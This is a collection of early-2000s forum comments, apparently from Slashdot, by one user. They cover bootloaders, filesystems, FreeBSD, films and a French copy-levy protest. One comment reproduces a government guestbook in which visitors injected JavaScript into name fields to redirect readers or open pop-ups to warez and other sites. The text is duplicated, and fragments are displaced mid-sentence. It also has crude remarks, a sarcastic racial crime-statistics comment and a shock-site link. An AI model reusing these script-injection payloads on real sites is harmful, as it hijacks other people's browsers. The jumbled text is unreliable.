> No? What! I thought all OpenSource projects these days had to be able to do these two before you can even consider a first release! What were these guys thinking!
The Law of Software Envelopment: ``Every program attempts to expand until it can read mail. Those programs which cannot so expand are replaced by ones which can.''
(Jamie Zawinski)
> It accepts omniweb, because omniweb masquerades as an MSIE browser. Just check your setting in Omniweb (be sure to pick the advanced settings).
Yes, but I don't think this occured. I changed my browser settings to 'tell all servers client is netscape' and it didn't change the response. He may be testing against particular versions of netscape...
Don't tell anybody, but I had the "presence d'esprit" to mirror the Guest Book before it went down (When I saw the first javascript windows, I knew it was a matter of hours before the put it offline. I mirrored it at Tue, 16 Jan 2001 15:02:17 +0100, so, if they put it back on-line, I could see what comment have been removed. If they remove comments, I will write a script to re-submit them back:-) )
Anyway here are the 'javascript' url that visitors of this higly cultural site had popping over their screen. Napster, warez, sex. Usual cultural stuff.
: <script language="Javascript">parent.location.href='htt p://www.easywarez.com'</script> </a>: (Tue, 16 Jan 2001 15:02:17 +0100)
louolou: <script language="Javascript">parent.location.href='htt p://www.culture.fr/PF/Pro jects/LIVREDOR'</script> </a>: (Tue, 16 Jan 2001 14:57:49 +0100)
>*********: Vache lait <script language="Javascript">parent.location.href='htt p://www.vachealait.com'</script> : tous ccontre cette taxe injuste ! </a>: (Tue, 16 Jan 2001 14:52:17 +0100)
**********: Vache lait <script language="Javascript">parent.location.href='htt p://www.vachealait.com'</script> </a>: (Tue, 16 Jan 2001 14:50:25 +0100)
sdfsdfdsf: <script language="Javascript">parent.location.href='htt p://www.yahoo.fr'</script> </a>: (Tue, 16 Jan 2001 14:45:09 +0100)
dfgdfgdf: <script language="Javascript">parent.location.href='www.yahoo.fr'</script> </a>: (Tue, 16 Jan 2001 14:44:06 +0100)
G.W. Bush: !!!! TOUT EST LEGAL !!!!</a><script>setTimeout("parent.loc ation.href='http://www.n apster.com'",5000);</script><noscript> </a>: (Tue, 16 Jan 2001 14:37:42 +0100)
Jospine: pas bien</a><script>parent.location.href=" http://www.napster.com";</script><noscrip t> </a>: (Tue, 16 Jan 2001 14:26:04 +0100)
toto: : sex!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.s ex.com", "warez", "toolbar=0,location=0,directories=0,status=0,menub ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT></a>: </a>: (Tue, 16 Jan 2001 14:20:33 +0100)
: non la taxe</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.l e-pere-noel.fr.st/", "warez2", "toolbar=0,location=0,directories=0,status=0,menub ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: </a>: (Tue, 16 Jan 2001 13:44:57 +0100)
: warez!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.g amecopyworld.com" , "warez", "toolbar=0,location=0,directories=0,status=0,menub ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: </a>: (Tue, 16 Jan 2001 13:41:05 +0100)
: warez!!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.g amecopyworld.com ", "Tasca_Payer", "toolbar=0,location=0,directories=0,status=0,menub ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT> </a>: (Tue, 16 Jan 2001 13:39:20 +0100)
Signons !: </A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.v achealait.com", "Tasca_Payer", "toolbar=0,location=0,directories=0,status=0,menub ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: (Tue, 16 Jan 2001 13:04:59 +0100)
('*******' mark a name I removed. I didn't included non javascript entries. I put all the entries, so it isn't really readable) I don't know if I should put the mirror somewhere, as it may easily be misused (there are the IPs of the posters) and I don't feel the right to edit it. Mmm.
The Guest Book of the 'Ministere de la Culture' (www.culture.fr) have been spammed a lot yesterday. People discovered that HTML tags were not parsed from the names, and started putting javascript in their names that opened various browser window to anti-tax sites. Was pretty funny while it lasted. Then someone made a syntax error in its name and the page stopped loading.
So the webmaster decided to put it offline (or, more likely, was just waiting for something like that so they could put it offline).
> PS: I just checked, mozilla is rejected too. Looked at the site with IE too. The guy is a windows advocate that want people to use VBscript. IMHO, it is its right.
PS/2: I just rechecked, and the guy if fact advocates *not* to use VBScript but JScript. It is just that he doesn't want to support Netscape. Doesn't change my position. Putting a almost direct link to a mailto: link from slashdot front page is unfair.
This article is very trollish. A DEEP LINK to an out-of-context web page. Don't know how he got there. When I go to the site with my Mac OS X Server Omniweb, I read it without problem. Do this message appear for every netscape user ? For mozilla too ?
On the main point of browser compatibility, it is pretty clear that if the guy want to show client-side scripting that will not work with netscape. On the same vein, XUL is not working well on IE. So what ? Should those XUL sites be lapidated by slashdot ?
Otoh, he is clearly a netscape hater, as he reject netscape but accepts any other browser.
Btw, it is totally unfair to put a slashdot link to a page where there is a mailto: url. The guy is going to get megabytes of junk from clueless/bots.
PS: I just checked, mozilla is rejected too. Looked at the site with IE too. The guy is a windows advocate that want people to use VBscript. IMHO, it is its right.
> Hmm... Answer a few questions (that together with hardware ids generate a unique profile) and create an internet connection... no data would be sent anywhere, right?
At each boot Mac OS X use ntpdate to sync clock with ftp<some number>.apple.com. I watched that over my FreeBSD firewall. I don't really like this because it set up a precedent... It can be changed, of course, so it is not that bad I think...
> I heard LILO was starting to support Reiser, anyone know for sure?
Don't care. Drop LILO, use GRUB. GRUB is way better. You can do startup menus, get a command line to load whatever you want, load non linux kernel, boot over ethernet (dhcp+tftp for the kernel), search for files in your disks even if no OS is bootable.
GRUB rocks, and is very actively maintained. And I even beleive that there are patches to get a graphical menu.
GRUB saved me half a dozen of times. GRUB command line is simply amazing (with filesystem detection and file completion. Amazing).
> You don't lose your file, the point of the Journal is quick and easy recovery. If you lost your file, you're no longer recovering it.
Last time I checked, rfs journal only meta-data modification. It is not a real transactional system, only a avoid-fsck thingy. Less interesting, but faster (you have to write before/after images in a transactional system)
> Imagine if the advertising were run via the same model that the site is run. Imagine if the ads were selected by the editors, in the same way that stories are selected
You means troll ads ? Or only redundant ads with speeling miskates ?
> From the four partitions, one goes to W2K (gak!), one is swap, one is/boot and the remaining one is/root.
> I'm sure there's a way around this, but I have no clue how.
The '4 partition limit' is on primary partitions. You can have as much logical partitions as you want (ie: those are a chained list of partition residing in a primary partition, called an 'extended' partition. In the pure Microsoft way of thinking, you can only have one extended partition). Techincally, you only need three primary partitions in your laptop: one for W2K, one for linux, and one for the extended partition.
Furthermore, linux is able to boot on non primary partitions.
And there are tools out there to hide/show partitions at boot (GRUB can do this for instance. I highly recommand GRUB over LILO), so you can have dozen of primary partitions, but only 4 existing at the same time.
Lastly, it may be possible to use bsd disklabels, which are ways to subdivise an existing partition. You could put linux in BSD slices, but this starts to be slightly more serious hacking (but is doable).
> Thanks for the hint, do you have a good pointer where to educate myself ?
All this AFAIK, but I can be proven wrong once again...
> wow, something ever other OS has had for years
Huh ? Since when windows 95/95 have a journalling FS ? Since when Mac OS have a journalling FS ? Since when NeXTstep/OPENSTEP/Mac OS X Server have a journalling file system ? Or Mac OS X ?
> Now maybe Linux can get a user-friendly GUI?
OSes with a user-friendly GUI and a journalling filesystem are BeOS and WinNT/Win2K.
Le premier ministre Jospin can be reached at mailto:premier-ministre@premier-ministre.gouv.fr . As there are 3 elections in the next 18 month, telling him the opinion you have on the issue and how it will impact you vote can be pretty effective.
> but can't you just let go and enjoy the spectacle?
Sorry. I didn't found much enjoyable in The Matrix, beside the first Trinity fight (against the cops). There were a few really magical seconds there.
> By the way, you should try "Crouching Tiger, Hidden Dragon", it has awesome martial arts, but has a great story, great scenery, and it just all around is a spectacular film! I was suprised...
Yeah. I saw it. Really great movie, with several level of stories. Brilliant and original.
Look at this site and you can see how bad this addiction can really become
You don't know shit about life. Go to www.thejackytouch.com to see real bad taste (beware, even if you can stand goatsecx you may need a barf bag before clicking)
For the non-french readers, click the 4th link on the left ("Jacky Du Mois"), then browse the entries by month. Can't give a deep pointer, the thing uses frames.
The Matrix was sooo lame, I just can't understand why so many people love it:
Ie: A bunch of assholes wearing sunglasses decide to save the world in their own way, by using "guns, a lot of guns", and killing as much people as they can (for the record, the so-called bad guys don't kill anyone)
Reality twist is probably my favorite theme (as a Philip Kindred Dick lover), and The Matrix is probably the worst movie I saw about it (Neo don't even questionate the reality of what is presented to him, after been explained that everything he knows is false. IMNSHO, he have a [Celcius] room temperature IQ). Dark City was far better, even Total Recall was good (as that the ending scenes of Totall Recall are oniric, you know he _should_ have taken the pill). I don't know, Pi, Cube, Existenz are good reality-is-not-exactly-as-it-should movies.
Let's be serious. You are in the matrix. Are you going to use *kung fu* to fight ? Or maybe keanu reeves is a modern Midas that turns everything in sh*t. Johnny Mnemonic was a fucked movie too (saved by a great scene showing virtual-reality from the outside) : the heroin should have had her body modified as in the short novel. That was great.
Mmm. I should not talk about the matrix. Makes me angry, and loosing karma...
I run FreeBSD on 3 machines here. I felt in love with it.
One thing I was wondering about is how decision are taken about what goes in the real system (/usr/src) and what does not. For instance, rcp is in the base system, while rsync is in the port tree. When I started, less was not in the distribution, but now is. Why ? Will FreeBSD grow and accumulate more and more tools in/usr/src ?
Something somewhat related that bother me is that as soon as I get away of the base system, things are much less clean. Even if the port tree is wonderfull, there is no simple command that will enable me to stay in sync with non-standard stuff. I would love beeing able to do something analogous to cvsup + make world to keep an up-to-date X / gnome / mozilla installation, with a defaut window manager and configuration that make sense. Is there any work in that direction ?
> There are enough people who were mature enough at 16 to understand that other people's property is to be respected, not trashed. And they SHOULD be preffered over a reformed hooligan.
> Course, that's just my opinion
I would be happy if it was just *your* opinion. If someone did stupid at age of 16, then paid its tribute to society, he should get out clean. Your way of thinking make me sick. Who are you ? A uber-citizen because you never get caught ?
You said:
"If there are enough people [...] to pick from, why take even a minimal risk [...]" ?
Statistically, black people are more likely to commit crimes in the US (or at least, they are more likely to get caught). I guess, it segregastion is good business practice after all...
From what I understand, this security hole have been there for years. This was (mostly) harmless as long as the machines were not connected to a global network (well, it could be used to do a lot of harm, but for someone that already have access to the network where the database run. Anyone technically given access to the internal network of a company can do a lot of harm, anyway. Most of internal security is security-thought-obscurity. Hence, when you know how to search...)
What most guys don't realise is that many many closed-source software that currently run on many computers contains such backdoors, generally implanted to ease remote maintenance (and cut down costs). I, for one, would be _very_ surprised if there was no such backdoor in the various incantations of proprietary operating systems.
Well, this make little sense to me. If the driver crypt when writing to it, then it have to decrypt when reading from it. This would not pose any problem.
I suspect that the whole thing is much more complex, as there is a need for 'trusted' applications (ie: the one that are allowed to manipulate copyrighted data in an unencrypted form), and maybe a public/private key system between those apps and the disk. But in that case, as soon as one of those app would be broken (by reverse engeneering), the data could be read. And,. anyway, it seems possibler to write a disk driver that lie to all the applications and pretend that it encrypt the data even if it don't. Or maybe applications use crypto to assert that the disk knows a private key. But in that case, as soon as one of those disk key would be leaked, a driver could be built that will pretend beeing this disk.
Basically I am lost. If anyone understand this, I would _love_ to get a detailled explanation of how it is supposed to work.
MAYBE I am a bit tired, BUT I just can't make SENSE of answers OF andre.
Could SOMEONE explain me how the thing is SUPPOSED to work. And BTW, all-CAPS words may not be NECESSARY.
("How is it supposed to work ?" was IMHO, by far the most interesting question in the orignal article, but have not been answered here [or I can't make sense of the answer]. As long as we don't understand this, all the issue is FUD...)
Slashdot Mirror
> outlook is already dead
Don't anthropomorphize programs. They don't like it.
> No? What! I thought all OpenSource projects these days had to be able to do these two before you can even consider a first release! What were these guys thinking!
The Law of Software Envelopment: ``Every program attempts to expand until it can read mail. Those programs which cannot so expand are replaced by ones which can.''
(Jamie Zawinski)
They clearly got it backward...
Cheers,
--fred
> It accepts omniweb, because omniweb masquerades as an MSIE browser. Just check your setting in Omniweb (be sure to pick the advanced settings).
Yes, but I don't think this occured. I changed my browser settings to 'tell all servers client is netscape' and it didn't change the response. He may be testing against particular versions of netscape...
Cheers,
--fred
Don't tell anybody, but I had the "presence d'esprit" to mirror the Guest Book before it went down (When I saw the first javascript windows, I knew it was a matter of hours before the put it offline. I mirrored it at Tue, 16 Jan 2001 15:02:17 +0100, so, if they put it back on-line, I could see what comment have been removed. If they remove comments, I will write a script to re-submit them back :-) )
.yahoo.fr'</script> </a>: (Tue, 16 Jan 2001 14:44:06 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT></a>: </a>: (Tue, 16 Jan 2001 14:20:33 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: </a>: (Tue, 16 Jan 2001 13:44:57 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: </a>: (Tue, 16 Jan 2001 13:41:05 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT> </a>: (Tue, 16 Jan 2001 13:39:20 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: (Tue, 16 Jan 2001 13:04:59 +0100)
Anyway here are the 'javascript' url that visitors of this higly cultural site had popping over their screen. Napster, warez, sex. Usual cultural stuff.
: <script language="Javascript">parent.location.href='htt p://www.easywarez.com'</script> </a>: (Tue, 16 Jan 2001 15:02:17 +0100)
louolou: <script language="Javascript">parent.location.href='htt p://www.culture.fr/PF/Pro jects/LIVREDOR'</script> </a>: (Tue, 16 Jan 2001 14:57:49 +0100)
>*********: Vache lait <script language="Javascript">parent.location.href='htt p://www.vachealait.com'</script> : tous ccontre cette taxe injuste ! </a>: (Tue, 16 Jan 2001 14:52:17 +0100)
**********: Vache lait <script language="Javascript">parent.location.href='htt p://www.vachealait.com'</script> </a>: (Tue, 16 Jan 2001 14:50:25 +0100)
sdfsdfdsf: <script language="Javascript">parent.location.href='htt p://www.yahoo.fr'</script> </a>: (Tue, 16 Jan 2001 14:45:09 +0100)
dfgdfgdf: <script language="Javascript">parent.location.href='www
G.W. Bush: !!!! TOUT EST LEGAL !!!!</a><script>setTimeout("parent.loc ation.href='http://www.n apster.com'",5000);</script><noscript> </a>: (Tue, 16 Jan 2001 14:37:42 +0100)
Jospine: pas bien</a><script>parent.location.href=" http://www.napster.com";</script><noscrip t> </a>: (Tue, 16 Jan 2001 14:26:04 +0100)
toto: : sex!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.s ex.com", "warez", "toolbar=0,location=0,directories=0,status=0,menu
: non la taxe</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.l e-pere-noel.fr.st/", "warez2", "toolbar=0,location=0,directories=0,status=0,menu
: warez!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.g amecopyworld.com" , "warez", "toolbar=0,location=0,directories=0,status=0,menu
: warez!!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.g amecopyworld.com ", "Tasca_Payer", "toolbar=0,location=0,directories=0,status=0,menu
Signons !: </A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.v achealait.com", "Tasca_Payer", "toolbar=0,location=0,directories=0,status=0,menu
('*******' mark a name I removed. I didn't included non javascript entries. I put all the entries, so it isn't really readable) I don't know if I should put the mirror somewhere, as it may easily be misused (there are the IPs of the posters) and I don't feel the right to edit it. Mmm.
Cheers,
--fred
Mmmm. Looks like the page have just been edited. It did not do that when I first looked at it.
Cheers,
--fred
The Guest Book of the 'Ministere de la Culture' (www.culture.fr) have been spammed a lot yesterday. People discovered that HTML tags were not parsed from the names, and started putting javascript in their names that opened various browser window to anti-tax sites. Was pretty funny while it lasted. Then someone made a syntax error in its name and the page stopped loading.
So the webmaster decided to put it offline (or, more likely, was just waiting for something like that so they could put it offline).
Cheers,
--fred
Cool to reply to myself.
> PS: I just checked, mozilla is rejected too. Looked at the site with IE too. The guy is a windows advocate that want people to use VBscript. IMHO, it is its right.
PS/2: I just rechecked, and the guy if fact advocates *not* to use VBScript but JScript. It is just that he doesn't want to support Netscape. Doesn't change my position. Putting a almost direct link to a mailto: link from slashdot front page is unfair.
Cheers,
--fred
This article is very trollish. A DEEP LINK to an out-of-context web page. Don't know how he got there. When I go to the site with my Mac OS X Server Omniweb, I read it without problem. Do this message appear for every netscape user ? For mozilla too ?
/bots.
On the main point of browser compatibility, it is pretty clear that if the guy want to show client-side scripting that will not work with netscape. On the same vein, XUL is not working well on IE. So what ? Should those XUL sites be lapidated by slashdot ?
Otoh, he is clearly a netscape hater, as he reject netscape but accepts any other browser.
Btw, it is totally unfair to put a slashdot link to a page where there is a mailto: url. The guy is going to get megabytes of junk from clueless
PS: I just checked, mozilla is rejected too. Looked at the site with IE too. The guy is a windows advocate that want people to use VBscript. IMHO, it is its right.
Cheers,
--fred
> Hmm... Answer a few questions (that together with hardware ids generate a unique profile) and create an internet connection... no data would be sent anywhere, right?
At each boot Mac OS X use ntpdate to sync clock with ftp<some number>.apple.com. I watched that over my FreeBSD firewall. I don't really like this because it set up a precedent... It can be changed, of course, so it is not that bad I think...
Cheers,
--fred
> I heard LILO was starting to support Reiser, anyone know for sure?
Don't care. Drop LILO, use GRUB. GRUB is way better. You can do startup menus, get a command line to load whatever you want, load non linux kernel, boot over ethernet (dhcp+tftp for the kernel), search for files in your disks even if no OS is bootable.
GRUB rocks, and is very actively maintained. And I even beleive that there are patches to get a graphical menu.
GRUB saved me half a dozen of times. GRUB command line is simply amazing (with filesystem detection and file completion. Amazing).
Cheers,
--fred
> You don't lose your file, the point of the Journal is quick and easy recovery. If you lost your file, you're no longer recovering it.
Last time I checked, rfs journal only meta-data modification. It is not a real transactional system, only a avoid-fsck thingy. Less interesting, but faster (you have to write before/after images in a transactional system)
Cheers,
--fred
> Imagine if the advertising were run via the same model that the site is run. Imagine if the ads were selected by the editors, in the same way that stories are selected
You means troll ads ? Or only redundant ads with speeling miskates ?
> I'm probably gonna embarrass myselfe here
/boot and the remaining one is /root.
Of course not.
> From the four partitions, one goes to W2K (gak!), one is swap, one is
> I'm sure there's a way around this, but I have no clue how.
The '4 partition limit' is on primary partitions. You can have as much logical partitions as you want (ie: those are a chained list of partition residing in a primary partition, called an 'extended' partition. In the pure Microsoft way of thinking, you can only have one extended partition). Techincally, you only need three primary partitions in your laptop: one for W2K, one for linux, and one for the extended partition.
Furthermore, linux is able to boot on non primary partitions.
And there are tools out there to hide/show partitions at boot (GRUB can do this for instance. I highly recommand GRUB over LILO), so you can have dozen of primary partitions, but only 4 existing at the same time.
Lastly, it may be possible to use bsd disklabels, which are ways to subdivise an existing partition. You could put linux in BSD slices, but this starts to be slightly more serious hacking (but is doable).
> Thanks for the hint, do you have a good pointer where to educate myself ?
Various man pages/HOWTO should do the trick.
Cheers,
--fred
All this AFAIK, but I can be proven wrong once again...
> wow, something ever other OS has had for years
Huh ? Since when windows 95/95 have a journalling FS ? Since when Mac OS have a journalling FS ? Since when NeXTstep/OPENSTEP/Mac OS X Server have a journalling file system ? Or Mac OS X ?
> Now maybe Linux can get a user-friendly GUI?
OSes with a user-friendly GUI and a journalling filesystem are BeOS and WinNT/Win2K.
Cheers,
--fred
Please stay polite, and don't spam it, it will be much more effective that way.
Madame la minstre Tasca can be joined via http://www.culture.fr/culture/comment-ministre.htm
Le premier ministre Jospin can be reached at mailto:premier-ministre@premier-ministre.gouv.fr . As there are 3 elections in the next 18 month, telling him the opinion you have on the issue and how it will impact you vote can be pretty effective.
Resistance (which is not futile) is at www.vachealait.com
If you know other resources, please reply. I don't want SONY/EMI/VIVENDI etc, getting money each time I burn a FreeBSD CD
Thanks.
Cheers,
--fred
Quand j'entend le mot "culture" je sort mon portefeuille.
> but can't you just let go and enjoy the spectacle?
Sorry. I didn't found much enjoyable in The Matrix, beside the first Trinity fight (against the cops). There were a few really magical seconds there.
> By the way, you should try "Crouching Tiger, Hidden Dragon", it has awesome martial arts, but has a great story, great scenery, and it just all around is a spectacular film! I was suprised...
Yeah. I saw it. Really great movie, with several level of stories. Brilliant and original.
Cheers,
--fred
You don't know shit about life. Go to www.thejackytouch.com to see real bad taste (beware, even if you can stand goatsecx you may need a barf bag before clicking)
For the non-french readers, click the 4th link on the left ("Jacky Du Mois"), then browse the entries by month. Can't give a deep pointer, the thing uses frames.
Cheers,
--fred
The Matrix was sooo lame, I just can't understand why so many people love it:
Ie: A bunch of assholes wearing sunglasses decide to save the world in their own way, by using "guns, a lot of guns", and killing as much people as they can (for the record, the so-called bad guys don't kill anyone)
Reality twist is probably my favorite theme (as a Philip Kindred Dick lover), and The Matrix is probably the worst movie I saw about it (Neo don't even questionate the reality of what is presented to him, after been explained that everything he knows is false. IMNSHO, he have a [Celcius] room temperature IQ). Dark City was far better, even Total Recall was good (as that the ending scenes of Totall Recall are oniric, you know he _should_ have taken the pill). I don't know, Pi, Cube, Existenz are good reality-is-not-exactly-as-it-should movies.
Let's be serious. You are in the matrix. Are you going to use *kung fu* to fight ? Or maybe keanu reeves is a modern Midas that turns everything in sh*t. Johnny Mnemonic was a fucked movie too (saved by a great scene showing virtual-reality from the outside) : the heroin should have had her body modified as in the short novel. That was great.
Mmm. I should not talk about the matrix. Makes me angry, and loosing karma...
Cheers,
--fred
I run FreeBSD on 3 machines here. I felt in love with it.
/usr/src ?
One thing I was wondering about is how decision are taken about what goes in the real system (/usr/src) and what does not. For instance, rcp is in the base system, while rsync is in the port tree. When I started, less was not in the distribution, but now is. Why ? Will FreeBSD grow and accumulate more and more tools in
Something somewhat related that bother me is that as soon as I get away of the base system, things are much less clean. Even if the port tree is wonderfull, there is no simple command that will enable me to stay in sync with non-standard stuff. I would love beeing able to do something analogous to cvsup + make world to keep an up-to-date X / gnome / mozilla installation, with a defaut window manager and configuration that make sense. Is there any work in that direction ?
Cheers,
--fred
'from the what'll-they-think-of-next dept' ? I already wonder what he was thinking when posting the article...
Btw, think about the 'hooters' admin that have its site slashdotted right now...
> There are enough people who were mature enough at 16 to understand that other people's property is to be respected, not trashed. And they SHOULD be preffered over a reformed hooligan.
> Course, that's just my opinion
I would be happy if it was just *your* opinion. If someone did stupid at age of 16, then paid its tribute to society, he should get out clean. Your way of thinking make me sick. Who are you ? A uber-citizen because you never get caught ?
You said:
"If there are enough people [...] to pick from, why take even a minimal risk [...]" ?
Statistically, black people are more likely to commit crimes in the US (or at least, they are more likely to get caught). I guess, it segregastion is good business practice after all...
Cheers,
--fred
From what I understand, this security hole have been there for years. This was (mostly) harmless as long as the machines were not connected to a global network (well, it could be used to do a lot of harm, but for someone that already have access to the network where the database run. Anyone technically given access to the internal network of a company can do a lot of harm, anyway. Most of internal security is security-thought-obscurity. Hence, when you know how to search...)
What most guys don't realise is that many many closed-source software that currently run on many computers contains such backdoors, generally implanted to ease remote maintenance (and cut down costs). I, for one, would be _very_ surprised if there was no such backdoor in the various incantations of proprietary operating systems.
Cheers,
--fred
Well, this make little sense to me. If the driver crypt when writing to it, then it have to decrypt when reading from it. This would not pose any problem.
I suspect that the whole thing is much more complex, as there is a need for 'trusted' applications (ie: the one that are allowed to manipulate copyrighted data in an unencrypted form), and maybe a public/private key system between those apps and the disk. But in that case, as soon as one of those app would be broken (by reverse engeneering), the data could be read. And,. anyway, it seems possibler to write a disk driver that lie to all the applications and pretend that it encrypt the data even if it don't. Or maybe applications use crypto to assert that the disk knows a private key. But in that case, as soon as one of those disk key would be leaked, a driver could be built that will pretend beeing this disk.
Basically I am lost. If anyone understand this, I would _love_ to get a detailled explanation of how it is supposed to work.
Cheers,
--fred
Well, if you run linux on consumer hardware, this guy is the one responmsible of the IDE drivers. Its web site is at www.linux-ide.org
Cheers,
--fred
I still DON'T really UNDERSTAND.
MAYBE I am a bit tired, BUT I just can't make SENSE of answers OF andre.
Could SOMEONE explain me how the thing is SUPPOSED to work. And BTW, all-CAPS words may not be NECESSARY.
("How is it supposed to work ?" was IMHO, by far the most interesting question in the orignal article, but have not been answered here [or I can't make sense of the answer]. As long as we don't understand this, all the issue is FUD...)
Cheers,
--fred